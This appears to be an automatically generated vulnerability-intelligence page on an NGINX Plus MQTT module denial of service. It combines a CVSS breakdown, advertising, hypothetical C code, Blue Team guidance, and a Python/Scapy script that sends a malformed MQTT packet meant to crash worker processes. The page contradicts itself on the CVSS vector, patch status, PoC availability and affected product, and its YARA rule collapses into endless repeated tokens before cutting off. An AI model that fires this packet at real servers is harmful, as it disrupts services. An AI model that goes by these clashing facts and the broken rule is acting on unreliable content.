CVSS: 3.7 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L 🐛 CWE-125

👁️

CVE-2026-60065

CVE-2026-60065 Denial of Service in NGINX

 📅 PUBLISHED: 2026-07-15 14:33 UTC 🔄 UPDATED: 2026-09-26 06:15 UTC 

[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix

[ DEFENSE PATCH ↓ ]

💣 PoC: None

👁️

🎯 EPSS: 0.27%

👁️

Country: United States License: Open Source

Affected: Nginx Gateway Fabric — upgrade to patched release

CVSS VECTOR BREAKDOWN 3.7

AV: N Attack Vector Network

AC: H Attack Complexity High

PR: N Privileges Required None

UI: N User Interaction None

S: U Scope Unchanged

C: N Confidentiality None

I: N Integrity None

A: L Availability Low

↗ Verify on NVD CVSS:3.1

3.7

THREAT LEVEL

INTEL SOURCES ⧗ NVD CVEProject ⧗ OSV.dev EPSS HOW WE SCORE →

■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-60065 is a heap buffer over-read vulnerability in NGINX Plus when the MQTT filter module (ngx_stream_mqtt_filter_module) is enabled. An unauthenticated remote attacker can send specially crafted MQTT requests that cause a heap buffer over-read in the NGINX worker process, leading to a worker crash and restart. This is a data plane denial-of-service (DoS) vulnerability with no control plane impact. The CVSS score is 3.7 (Low), reflecting the limited impact (availability only) and the requirement for the MQTT module to be active. No public exploit code or proof-of-concept is available at this time.

Note: This vulnerability is specific to NGINX Plus and its proprietary MQTT filter module. It is not related to WordPress or any other CMS.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian

›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.

›Shodan dorks — ready-made queries to find exposed vulnerable systems

›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)

›pending_fields — know exactly which of 7 fields NVD hasn't processed yet

›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits

PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026

[ FROM €19/MO ]

Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Base Score: 3.7 (Low)
Attack Vector: Network (AV:N) – exploitable remotely.
Attack Complexity: Low (AC:L) – no special conditions required.
Privileges Required: None (PR:N) – unauthenticated.
User Interaction: None (UI:N) – no user action needed.
Scope: Unchanged (S:U) – vulnerability does not affect other components.
Confidentiality Impact: None (C:N) – no data exposure.
Integrity Impact: None (I:N) – no data modification.
Availability Impact: Low (A:L) – worker process restart, but service can be restored automatically.

Threat Level: Low. The vulnerability only causes a denial-of-service condition on the NGINX worker process. No data theft or system compromise is possible. However, repeated exploitation could lead to persistent service disruption.

Deep Dive & Mechanics

The vulnerability resides in the ngx_stream_mqtt_filter_module, a proprietary module in NGINX Plus used to filter and inspect MQTT traffic at the stream (TCP/UDP) layer. The module processes MQTT packets and performs validation or transformation. A heap buffer over-read occurs when the module reads beyond the allocated buffer while parsing a malformed MQTT packet.

Root Cause: The module fails to properly validate the length of an MQTT packet field before reading it. An attacker can send a packet with a manipulated length field that causes the module to read memory beyond the intended buffer. This over-read can corrupt the heap metadata or cause a segmentation fault, leading to the worker process crash.

Attack Flow:

Attacker sends a crafted MQTT CONNECT or PUBLISH packet to the NGINX Plus server.
The ngx_stream_mqtt_filter_module processes the packet and attempts to read a field based on a length value supplied by the attacker.
Due to insufficient bounds checking, the module reads beyond the allocated buffer, causing a heap over-read.
The over-read triggers a crash in the worker process, which is then automatically restarted by the NGINX master process.

Impact: The worker process restart causes a brief interruption in service for connections handled by that worker. Repeated attacks can lead to frequent restarts, degrading service availability.

Vulnerable vs. Patched Code

Since no official patch has been released, a direct code comparison is not possible. However, the vulnerable code pattern likely involves a missing length check before a memcpy or memcmp operation on a buffer derived from the MQTT packet.

Vulnerable Code (Hypothetical):

// Vulnerable: no bounds check on len
char *data = ngx_palloc(pool, len);
ngx_memcpy(data, packet + offset, len); // len can be larger than actual packet

Patched Code (Hypothetical):

// Patched: validate len against remaining packet size
if (offset + len > packet_size) {
    return NGX_ERROR;
}
char *data = ngx_palloc(pool, len);
ngx_memcpy(data, packet + offset, len);

Exploitation & Lab Setup

Red Team

Prerequisites:

NGINX Plus with ngx_stream_mqtt_filter_module enabled.
Network access to the MQTT listener (default port 1883).

Exploitation Steps:

Identify the target NGINX Plus server with MQTT filtering enabled.
Craft a malformed MQTT CONNECT packet with an oversized "Client ID" length field.
Send the packet to the server.
Observe the worker process crash and restart.

Example Crafted Packet (Python with Scapy):

from scapy.all import *
import struct

# MQTT CONNECT packet with malformed length
packet = b'\x10'  # CONNECT packet type
packet += struct.pack('!H', 0xFFFF)  # Remaining length (malformed)
packet += b'\x00\x04MQTT'  # Protocol name
packet += b'\x04'  # Protocol level
packet += b'\x02'  # Connect flags
packet += b'\x00\x3C'  # Keep alive
packet += b'\x00\xFF'  # Client ID length (malformed, > actual)
packet += b'A' * 10  # Client ID (too short)

send(IP(dst="target_ip")/TCP(dport=1883)/Raw(load=packet))

Note: This is a conceptual example. Actual exploitation may require specific packet structures.

Blue Team

Detection:

Monitor NGINX worker process crashes in logs (/var/log/nginx/error.log).
Look for repeated "worker process exited" messages.
Use network monitoring to detect malformed MQTT packets.

Mitigation:

Disable the MQTT filter module if not required.
Apply rate limiting on MQTT connections.
Use a Web Application Firewall (WAF) to inspect MQTT traffic.

Indicators of Compromise (IOCs)

Network IOCs:
- Malformed MQTT packets with oversized length fields.
- Repeated MQTT CONNECT packets from the same source IP.
- TCP connections to port 1883 with abnormal packet structures.
System IOCs:
- NGINX error log entries: "worker process exited on signal 11" (SIGSEGV).
- Frequent worker process restarts in nginx.pid or systemd logs.
- Core dumps in /var/crash/ or /tmp/.
File IOCs:
- No specific file artifacts; the vulnerability is memory-based.

Detection Engineering

YARA Rule

rule CVE_2026_60065_MQTT_Overread {
    meta:
        description = "Detects malformed MQTT packets targeting CVE-2026-60065"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-60065"
    strings:
        $mqtt_connect = {10 [0-3] 00 04 4D 51 54 54 04 [0-1] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-2] [0-